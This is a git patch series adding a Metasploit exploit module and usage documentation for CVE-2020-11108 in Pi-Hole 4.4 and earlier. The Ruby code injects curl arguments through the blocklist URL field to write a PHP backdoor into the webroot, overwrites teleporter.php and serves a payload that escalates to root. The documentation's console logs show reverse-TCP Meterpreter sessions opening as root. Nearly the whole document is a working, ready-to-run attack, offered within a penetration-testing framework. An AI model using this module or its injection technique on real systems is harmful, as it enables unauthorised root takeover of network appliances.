From 9aa8578a752220c276f9f378a8a1041a0b8e29dd Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 12 May 2020 22:52:44 -0400 Subject: [PATCH 01/10] cve-2020-11108 --- .../unix/http/pihole_blocklist_exec.md | 81 +++++++ .../unix/http/pihole_blocklist_exec.rb | 223 ++++++++++++++++++ 2 files changed, 304 insertions(+) create mode 100644 documentation/modules/exploit/unix/http/pihole_blocklist_exec.md create mode 100644 modules/exploits/unix/http/pihole_blocklist_exec.rb diff --git a/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md b/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md new file mode 100644 index 000000000000..f21ff8abed55 --- /dev/null +++ b/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md @@ -0,0 +1,81 @@ +## Vulnerable Application + +This exploits a command execution in Pi-Hole < 4.4. A new blocklist is added, and then an +update is forced (gravity) to pull in the blocklist content. PHP content is then written +to a file within the webroot. + +Phase 1 writes a sudo pihole command to launch teleporter, effectively running a priv esc. + +Phase 2 writes our payload to `teleporter.php`, overwriting, the content. + +Lastly, the phase 1 PHP file is called in the web root, which launches +our payload in `teleporter.php` with root privileges. + +A more detailed writeup is available from the [original author](https://frichetten.com/blog/cve-2020-11108-pihole-rce/). + +Due to encodings, a local web server is required to be running on port `80`. + +Two blocklist is left within Pi-Hole and should be removed. + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use exploit/unix/http/pihole_blocklist_exec``` + 4. Do: ```set srvhost [IP]``` + 5. Do: ```set rhost [IP]``` + 6. Do: ```run``` + 7. You should get a root shell. + +## Options + +## Scenarios + +### Pi-Hole 4.3.2 on Ubuntu 18.04 + + ``` + [*] Processing pihole.rb for ERB directives. + resource (pihole.rb)> use exploit/unix/http/pihole_blocklist_exec + resource (pihole.rb)> set payload php/meterpreter/reverse_tcp + payload => php/meterpreter/reverse_tcp + resource (pihole.rb)> set rhosts 2.2.2.2 + rhosts => 2.2.2.2 + resource (pihole.rb)> set lhost 1.1.1.1 + lhost => 1.1.1.1 + resource (pihole.rb)> set srvhost 1.1.1.1 + srvhost => 1.1.1.1 + resource (pihole.rb)> set srvport 80 + srvport => 80 + resource (pihole.rb)> set verbose true + verbose => true + resource (pihole.rb)> exploit + [*] Exploit running as background job 0. + [*] Exploit completed, but no session was created. + + [*] Started reverse TCP handler on 1.1.1.1:4444 + msf5 exploit(unix/http/pihole_blocklist_exec) > [+] Version Detected: 4.3.2 + [*] Using URL: http://1.1.1.1:80/ + [*] Using cookie: PHPSESSID=45abdcp4rsc9bpi9tchi88ejnn; + [*] Using token: WzmrFbksWxIbtuSVeyrf8yv9o541UdhueLN+BRXfUmY= + [*] Adding backdoor reference + [*] Forcing gravity pull + [*] (1/2) Sending priv esc trigger + [*] Adding root reference + [*] Forcing gravity pull + [*] (2/2) Sending root payload + [*] Popping root shell + [*] Sending stage (38288 bytes) to 2.2.2.2 + [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:57982) at 2020-05-12 22:30:38 -0400 + [+] Deleted cdJWzln.php + [*] Server stopped. + + msf5 exploit(unix/http/pihole_blocklist_exec) > sessions -1 + [*] Starting interaction with 1... + + meterpreter > getuid + Server username: root (0) + meterpreter > sysinfo + Computer : pihole + OS : Linux pihole 4.15.0-64-generic #73-Ubuntu SMP Thu Sep 12 13:16:13 UTC 2019 x86_64 + Meterpreter : php/linux + ``` diff --git a/modules/exploits/unix/http/pihole_blocklist_exec.rb b/modules/exploits/unix/http/pihole_blocklist_exec.rb new file mode 100644 index 000000000000..163f3a26e8da --- /dev/null +++ b/modules/exploits/unix/http/pihole_blocklist_exec.rb @@ -0,0 +1,223 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Pi-Hole heisenbergCompensator blacklist OS Command Execution', + 'Description' => %q{ + This exploits a command execution in Pi-Hole < 4.4. A new blocklist is added, and then an + update is forced (gravity) to pull in the blocklist content. PHP content is then written + to a file within the webroot. Phase 1 writes a sudo pihole command to launch teleporter, + effectively running a priv esc. Phase 2 writes our payload to teleporter.php, overwriting, + the content. Lastly, the phase 1 PHP file is called in the web root, which launches + our payload in teleporter.php with root privileges. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h00die', # msf module + 'Nick Frichette' # original PoC, discovery + ], + 'References' => + [ + [ 'EDB', '48443' ], + [ 'URL', 'https://frichetten.com/blog/cve-2020-11108-pihole-rce/'], + [ 'CVE', '2020-11108'] + ], + 'Platform' => ['php'], + 'Privileged' => true, + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Automatic Target', {}] + ], + 'DisclosureDate' => 'May 10 2020', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + # set the default port, and a URI that a user can set if the app isn't installed to the root + register_options( + [ + Opt::RPORT(80), + OptPort.new('SRVPORT', [true, 'Web Server Port, must be 80', 80]), + OptString.new('USERNAME', [ true, 'User to login with', 'admin']), + OptString.new('PASSWORD', [ false, 'Password to login with', '123456']), + OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/']) + ], self.class + ) + end + + def setup + super + @stage = 0 + end + + def on_request_uri(cli, request) + if request.method == 'GET' + vprint_status('Received GET request. Responding') + send_response(cli, rand_text_alphanumeric(5..10)) + return + end + + case @stage + when 0 + vprint_status('(1/2) Sending priv esc trigger') + send_response(cli, %q{}) + @stage += 1 + when 1 + vprint_status('(2/2) Sending root payload') + send_response(cli, payload.encoded) + @stage = 0 + else + send_response(cli, rand_text_alphanumeric(5..10)) + vprint_status('Server received default reqeust for #{request.uri}') + end + end + + def check + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), + 'method' => 'GET' + ) + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 + + # Pi-hole Version\s*<\/b>\s*v?(4.3.2)\s* + # Pi-hole Version v4.3.2 (Update available!) + %r{Pi-hole Version\s*\s*v?(?[\d\.]+).*} =~ res.body + + if version && Gem::Version.new(version) < Gem::Version.new('4.4') + vprint_good("Version Detected: #{version}") + return CheckCode::Appears + else + vprint_bad("Version Detected: #{version}") + return CheckCode::Safe + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + CheckCode::Safe + end + + def add_blocklist(file, token, cookie) + # according to the writeup, if you have a port, the colon gets messed up in the encoding. + # also, looks like if you have a path (/file.php), it won't trigger either, or the / gets + # messed with. + data = { + 'newuserlists' => %(http://#{datastore['SRVHOST']}#" -o #{file} -d "), + 'field' => 'adlists', + 'token' => token, + 'submit' => 'saveupdate' + } + + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), + 'method' => 'POST', + 'cookie' => cookie, + 'vars_get' => { + 'tab' => 'blocklists' + }, + 'data' => data.to_query + # {"newuserlists"=>%Q|http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{local_file}#" -o #{file} -d "|, + ) + end + + def update_gravity(cookie) + vprint_status('Forcing gravity pull') + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'gravity.sh.php'), + 'cookie' => cookie + ) + end + + def execute_shell(backdoor_name, cookie) + vprint_status('Popping root shell') + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', backdoor_name), + 'cookie' => cookie + ) + end + + def exploit + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target is not vulnerable') + end + + if datastore['SRVPORT'] != 80 + fail_with(Failure::BadConfig, 'Target is not vulnerable') + end + + start_service({ 'Uri' => { + 'Proc' => proc do |cli, req| + on_request_uri(cli, req) + end, + 'Path' => '/' + } }) + + begin + # get cookie + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php') + ) + cookie = res.get_cookies + print_status("Using cookie: #{cookie}") + + # get token + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), + 'cookie' => cookie, + 'vars_get' => { + 'tab' => 'blocklists' + } + ) + + # + %r{name="token" value="(?[\w+=/]+)">} =~ res.body + + unless token + fail_with(Failure::UnexpectedReply, 'Unable to find token') + end + print_status("Using token: #{token}") + + # plant backdoor + backdoor_name = "#{rand_text_alphanumeric 5..10}.php" + register_file_for_cleanup backdoor_name + print_status('Adding backdoor reference') + res = add_blocklist(backdoor_name, token, cookie) + + # update gravity + update_gravity cookie + + # plant root upgrade + print_status('Adding root reference') + res = add_blocklist('teleporter.php', token, cookie) + + # update gravity + update_gravity cookie + + # pop shell + execute_shell(backdoor_name, cookie) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + + end +end From 7be2983105cf2a604bfd9bf4c7c671051f7e0098 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 13 May 2020 08:51:31 -0400 Subject: [PATCH 02/10] review --- .../unix/http/pihole_blocklist_exec.rb | 25 ++++++++++--------- 1 file changed, 13 insertions(+), 12 deletions(-) diff --git a/modules/exploits/unix/http/pihole_blocklist_exec.rb b/modules/exploits/unix/http/pihole_blocklist_exec.rb index 163f3a26e8da..742c7a21bdaa 100644 --- a/modules/exploits/unix/http/pihole_blocklist_exec.rb +++ b/modules/exploits/unix/http/pihole_blocklist_exec.rb @@ -32,9 +32,9 @@ def initialize(info = {}) ], 'References' => [ - [ 'EDB', '48443' ], - [ 'URL', 'https://frichetten.com/blog/cve-2020-11108-pihole-rce/'], - [ 'CVE', '2020-11108'] + ['EDB', '48443'], + ['URL', 'https://frichetten.com/blog/cve-2020-11108-pihole-rce/'], + ['CVE', '2020-11108'] ], 'Platform' => ['php'], 'Privileged' => true, @@ -60,7 +60,7 @@ def initialize(info = {}) OptString.new('USERNAME', [ true, 'User to login with', 'admin']), OptString.new('PASSWORD', [ false, 'Password to login with', '123456']), OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/']) - ], self.class + ] ) end @@ -87,7 +87,7 @@ def on_request_uri(cli, request) @stage = 0 else send_response(cli, rand_text_alphanumeric(5..10)) - vprint_status('Server received default reqeust for #{request.uri}') + vprint_status("Server received default request for #{request.uri}") end end @@ -100,7 +100,7 @@ def check fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 - # Pi-hole Version\s*<\/b>\s*v?(4.3.2)\s* + # Pi-hole Version <\/b> v4.3.2 # Pi-hole Version v4.3.2 (Update available!) %r{Pi-hole Version\s*\s*v?(?[\d\.]+).*} =~ res.body @@ -136,7 +136,6 @@ def add_blocklist(file, token, cookie) 'tab' => 'blocklists' }, 'data' => data.to_query - # {"newuserlists"=>%Q|http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{local_file}#" -o #{file} -d "|, ) end @@ -162,7 +161,7 @@ def exploit end if datastore['SRVPORT'] != 80 - fail_with(Failure::BadConfig, 'Target is not vulnerable') + fail_with(Failure::BadConfig, 'SRVPORT must be set to 80 for exploitation to be successful') end start_service({ 'Uri' => { @@ -190,6 +189,7 @@ def exploit ) # + # may also include / %r{name="token" value="(?[\w+=/]+)">} =~ res.body unless token @@ -201,20 +201,21 @@ def exploit backdoor_name = "#{rand_text_alphanumeric 5..10}.php" register_file_for_cleanup backdoor_name print_status('Adding backdoor reference') - res = add_blocklist(backdoor_name, token, cookie) + add_blocklist(backdoor_name, token, cookie) # update gravity - update_gravity cookie + update_gravity(cookie) # plant root upgrade print_status('Adding root reference') - res = add_blocklist('teleporter.php', token, cookie) + add_blocklist('teleporter.php', token, cookie) # update gravity - update_gravity cookie + update_gravity(cookie) # pop shell execute_shell(backdoor_name, cookie) + print_status("Blocklists must be removed manually from #{normalize_uri(target_uri.path, 'admin', 'settings.php')}?tab=blocklists") rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end From 4f3edb0cd25ed899ed86f91438c1c7fbd221f8ee Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 13 May 2020 09:18:54 -0400 Subject: [PATCH 03/10] more cleanup --- modules/exploits/unix/http/pihole_blocklist_exec.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/http/pihole_blocklist_exec.rb b/modules/exploits/unix/http/pihole_blocklist_exec.rb index 742c7a21bdaa..ff58663745b2 100644 --- a/modules/exploits/unix/http/pihole_blocklist_exec.rb +++ b/modules/exploits/unix/http/pihole_blocklist_exec.rb @@ -57,8 +57,6 @@ def initialize(info = {}) [ Opt::RPORT(80), OptPort.new('SRVPORT', [true, 'Web Server Port, must be 80', 80]), - OptString.new('USERNAME', [ true, 'User to login with', 'admin']), - OptString.new('PASSWORD', [ false, 'Password to login with', '123456']), OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/']) ] ) @@ -164,6 +162,10 @@ def exploit fail_with(Failure::BadConfig, 'SRVPORT must be set to 80 for exploitation to be successful') end + if datastore['SRVHOST'] != '0.0.0.0' + fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') + end + start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) From 3d054973f5e4fe8b2cecdb7b5939233cebca80df Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 13 May 2020 20:46:38 -0400 Subject: [PATCH 04/10] updates to work with 4.4 --- .../unix/http/pihole_blocklist_exec.md | 59 ++++++++++++++++++- .../unix/http/pihole_blocklist_exec.rb | 15 ++++- 2 files changed, 70 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md b/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md index f21ff8abed55..8372ab1a2a75 100644 --- a/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md +++ b/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md @@ -1,6 +1,6 @@ ## Vulnerable Application -This exploits a command execution in Pi-Hole < 4.4. A new blocklist is added, and then an +This exploits a command execution in Pi-Hole <= 4.4. A new blocklist is added, and then an update is forced (gravity) to pull in the blocklist content. PHP content is then written to a file within the webroot. @@ -79,3 +79,60 @@ Two blocklist is left within Pi-Hole and should be removed. OS : Linux pihole 4.15.0-64-generic #73-Ubuntu SMP Thu Sep 12 13:16:13 UTC 2019 x86_64 Meterpreter : php/linux ``` + +### Pi-Hole 4.4 on Ubuntu 18.04 + + ``` + [*] Processing pihole.rb for ERB directives. + resource (pihole.rb)> use exploit/unix/http/pihole_blocklist_exec + resource (pihole.rb)> set payload php/meterpreter/reverse_tcp + payload => php/meterpreter/reverse_tcp + resource (pihole.rb)> set rhosts 2.2.2.2 + rhosts => 2.2.2.2 + resource (pihole.rb)> set lhost 1.1.1.1 + lhost => 1.1.1.1 + resource (pihole.rb)> set srvhost 1.1.1.1 + srvhost => 1.1.1.1 + resource (pihole.rb)> set srvport 80 + srvport => 80 + resource (pihole.rb)> set verbose true + verbose => true + resource (pihole.rb)> exploit + [*] Exploit running as background job 0. + [*] Exploit completed, but no session was created. + + [*] Started reverse TCP handler on 1.1.1.1:4444 + msf5 exploit(unix/http/pihole_blocklist_exec) > [+] Version Detected: 4.4 + [*] Using URL: http://1.1.1.1:80/ + [*] Using cookie: PHPSESSID=uee4gcfsjk5m8289m4uk4rv1du; + [*] Using token: uO4ha1e0fy+Qwvoq14XgslT3Z+VJ/h2RR3qyVT6dPz8= + [*] Adding backdoor reference + [*] Forcing gravity pull + [*] Received GET request. Responding + [*] Sending 2nd gravity update request. + [*] Forcing gravity pull + [*] (1/2) Sending priv esc trigger + [*] Adding root reference + [*] Forcing gravity pull + [*] Received GET request. Responding + [*] Sending 2nd gravity update request. + [*] Forcing gravity pull + [*] (2/2) Sending root payload + [*] Popping root shell + [*] Sending stage (38288 bytes) to 2.2.2.2 + [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:48636) at 2020-05-13 20:34:33 -0400 + [+] Deleted VRwxqyhs.php + + msf5 exploit(unix/http/pihole_blocklist_exec) > sessions -1 + [*] Starting interaction with 1... + + meterpreter > getuid + Server username: root (0) + meterpreter > sysinfo + Computer : pihole + OS : Linux pihole 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020 x86_64 + Meterpreter : php/linux + meterpreter > + [*] Blocklists must be removed manually from /admin/settings.php?tab=blocklists + [*] Server stopped. + ``` diff --git a/modules/exploits/unix/http/pihole_blocklist_exec.rb b/modules/exploits/unix/http/pihole_blocklist_exec.rb index ff58663745b2..b74c9e8d465f 100644 --- a/modules/exploits/unix/http/pihole_blocklist_exec.rb +++ b/modules/exploits/unix/http/pihole_blocklist_exec.rb @@ -17,7 +17,7 @@ def initialize(info = {}) info, 'Name' => 'Pi-Hole heisenbergCompensator blacklist OS Command Execution', 'Description' => %q{ - This exploits a command execution in Pi-Hole < 4.4. A new blocklist is added, and then an + This exploits a command execution in Pi-Hole <= 4.4. A new blocklist is added, and then an update is forced (gravity) to pull in the blocklist content. PHP content is then written to a file within the webroot. Phase 1 writes a sudo pihole command to launch teleporter, effectively running a priv esc. Phase 2 writes our payload to teleporter.php, overwriting, @@ -34,6 +34,7 @@ def initialize(info = {}) [ ['EDB', '48443'], ['URL', 'https://frichetten.com/blog/cve-2020-11108-pihole-rce/'], + ['URL', 'https://github.com/frichetten/CVE-2020-11108-PoC'], ['CVE', '2020-11108'] ], 'Platform' => ['php'], @@ -102,7 +103,7 @@ def check # Pi-hole Version v4.3.2 (Update available!) %r{Pi-hole Version\s*\s*v?(?[\d\.]+).*} =~ res.body - if version && Gem::Version.new(version) < Gem::Version.new('4.4') + if version && Gem::Version.new(version) <= Gem::Version.new('4.4') vprint_good("Version Detected: #{version}") return CheckCode::Appears else @@ -162,7 +163,7 @@ def exploit fail_with(Failure::BadConfig, 'SRVPORT must be set to 80 for exploitation to be successful') end - if datastore['SRVHOST'] != '0.0.0.0' + if datastore['SRVHOST'] == '0.0.0.0' fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') end @@ -207,6 +208,10 @@ def exploit # update gravity update_gravity(cookie) + if @stage == 0 + print_status('Sending 2nd gravity update request.') + update_gravity(cookie) + end # plant root upgrade print_status('Adding root reference') @@ -214,6 +219,10 @@ def exploit # update gravity update_gravity(cookie) + if @stage == 1 + print_status('Sending 2nd gravity update request.') + update_gravity(cookie) + end # pop shell execute_shell(backdoor_name, cookie) From 6889d36d54fe418683d01063009c46367d42ad76 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 13 May 2020 21:06:48 -0400 Subject: [PATCH 05/10] add edb reference --- modules/exploits/unix/http/pihole_blocklist_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/unix/http/pihole_blocklist_exec.rb b/modules/exploits/unix/http/pihole_blocklist_exec.rb index b74c9e8d465f..d06cb33e0860 100644 --- a/modules/exploits/unix/http/pihole_blocklist_exec.rb +++ b/modules/exploits/unix/http/pihole_blocklist_exec.rb @@ -33,6 +33,7 @@ def initialize(info = {}) 'References' => [ ['EDB', '48443'], + ['EDB', '48442'], ['URL', 'https://frichetten.com/blog/cve-2020-11108-pihole-rce/'], ['URL', 'https://github.com/frichetten/CVE-2020-11108-PoC'], ['CVE', '2020-11108'] From cf0ba9d219f1bfb631581d7d1dd428edf6f782d4 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 13 May 2020 22:10:09 -0400 Subject: [PATCH 06/10] description --- modules/exploits/unix/http/pihole_blocklist_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/http/pihole_blocklist_exec.rb b/modules/exploits/unix/http/pihole_blocklist_exec.rb index d06cb33e0860..d7f66c81bef3 100644 --- a/modules/exploits/unix/http/pihole_blocklist_exec.rb +++ b/modules/exploits/unix/http/pihole_blocklist_exec.rb @@ -59,7 +59,7 @@ def initialize(info = {}) [ Opt::RPORT(80), OptPort.new('SRVPORT', [true, 'Web Server Port, must be 80', 80]), - OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/']) + OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']) ] ) end From b10d65dcae5cce6af5b118231b8c3f9eb3082ed8 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 13 May 2020 22:14:45 -0400 Subject: [PATCH 07/10] title --- modules/exploits/unix/http/pihole_blocklist_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/http/pihole_blocklist_exec.rb b/modules/exploits/unix/http/pihole_blocklist_exec.rb index d7f66c81bef3..0c550e778a66 100644 --- a/modules/exploits/unix/http/pihole_blocklist_exec.rb +++ b/modules/exploits/unix/http/pihole_blocklist_exec.rb @@ -15,7 +15,7 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Pi-Hole heisenbergCompensator blacklist OS Command Execution', + 'Name' => 'Pi-Hole heisenbergCompensator Blocklist OS Command Execution', 'Description' => %q{ This exploits a command execution in Pi-Hole <= 4.4. A new blocklist is added, and then an update is forced (gravity) to pull in the blocklist content. PHP content is then written From ebd6eb03023b1c3da434e0fcd1644ff301c099ff Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 14 May 2020 08:53:32 -0400 Subject: [PATCH 08/10] add authentication processing --- .../unix/http/pihole_blocklist_exec.md | 4 +++ .../unix/http/pihole_blocklist_exec.rb | 25 +++++++++++++++++++ 2 files changed, 29 insertions(+) diff --git a/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md b/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md index 8372ab1a2a75..7abed0fdda92 100644 --- a/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md +++ b/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md @@ -29,6 +29,10 @@ Two blocklist is left within Pi-Hole and should be removed. ## Options +### Password + +Password for the web interface. Randomly set on install. Use `pihole -a -p` to change/remove it. + ## Scenarios ### Pi-Hole 4.3.2 on Ubuntu 18.04 diff --git a/modules/exploits/unix/http/pihole_blocklist_exec.rb b/modules/exploits/unix/http/pihole_blocklist_exec.rb index 0c550e778a66..4bfefcb9735f 100644 --- a/modules/exploits/unix/http/pihole_blocklist_exec.rb +++ b/modules/exploits/unix/http/pihole_blocklist_exec.rb @@ -59,6 +59,7 @@ def initialize(info = {}) [ Opt::RPORT(80), OptPort.new('SRVPORT', [true, 'Web Server Port, must be 80', 80]), + OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']), OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']) ] ) @@ -155,6 +156,21 @@ def execute_shell(backdoor_name, cookie) ) end + def login(cookie) + vprint_status('Login required, attempting login.') + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), + 'cookie' => cookie, + 'vars_get' => { + 'tab' => 'blocklists' + }, + 'vars_post' => { + 'pw' => datastore['PASSWORD'] + }, + 'method' => 'POST' + ) + end + def exploit if check != CheckCode::Appears fail_with(Failure::NotVulnerable, 'Target is not vulnerable') @@ -192,6 +208,15 @@ def exploit } ) + # check if we got hit by a login prompt + if %r{Sign in to start your session} =~ res.body + res = login(cookie) + end + + if %r{Sign in to start your session} =~ res.body + fail_with(Failure::BadConfig, 'Incorrect Password') + end + # # may also include / %r{name="token" value="(?[\w+=/]+)">} =~ res.body From 07ea1fd419d8769f907e668b2a316d37313ddb4f Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 14 May 2020 08:54:01 -0400 Subject: [PATCH 09/10] rubocop --- modules/exploits/unix/http/pihole_blocklist_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/http/pihole_blocklist_exec.rb b/modules/exploits/unix/http/pihole_blocklist_exec.rb index 4bfefcb9735f..0b312c984266 100644 --- a/modules/exploits/unix/http/pihole_blocklist_exec.rb +++ b/modules/exploits/unix/http/pihole_blocklist_exec.rb @@ -209,11 +209,11 @@ def exploit ) # check if we got hit by a login prompt - if %r{Sign in to start your session} =~ res.body + if /Sign in to start your session/ =~ res.body res = login(cookie) end - if %r{Sign in to start your session} =~ res.body + if /Sign in to start your session/ =~ res.body fail_with(Failure::BadConfig, 'Incorrect Password') end From 4a39e28aa5153f06e59b8b4c81a4cae1c95bd933 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 14 May 2020 15:10:33 -0400 Subject: [PATCH 10/10] review --- modules/exploits/unix/http/pihole_blocklist_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/http/pihole_blocklist_exec.rb b/modules/exploits/unix/http/pihole_blocklist_exec.rb index 0b312c984266..d96cacc8403c 100644 --- a/modules/exploits/unix/http/pihole_blocklist_exec.rb +++ b/modules/exploits/unix/http/pihole_blocklist_exec.rb @@ -209,11 +209,11 @@ def exploit ) # check if we got hit by a login prompt - if /Sign in to start your session/ =~ res.body + if res && res.body.include?('Sign in to start your session') res = login(cookie) end - if /Sign in to start your session/ =~ res.body + if res && res.body.include?('Sign in to start your session') fail_with(Failure::BadConfig, 'Incorrect Password') end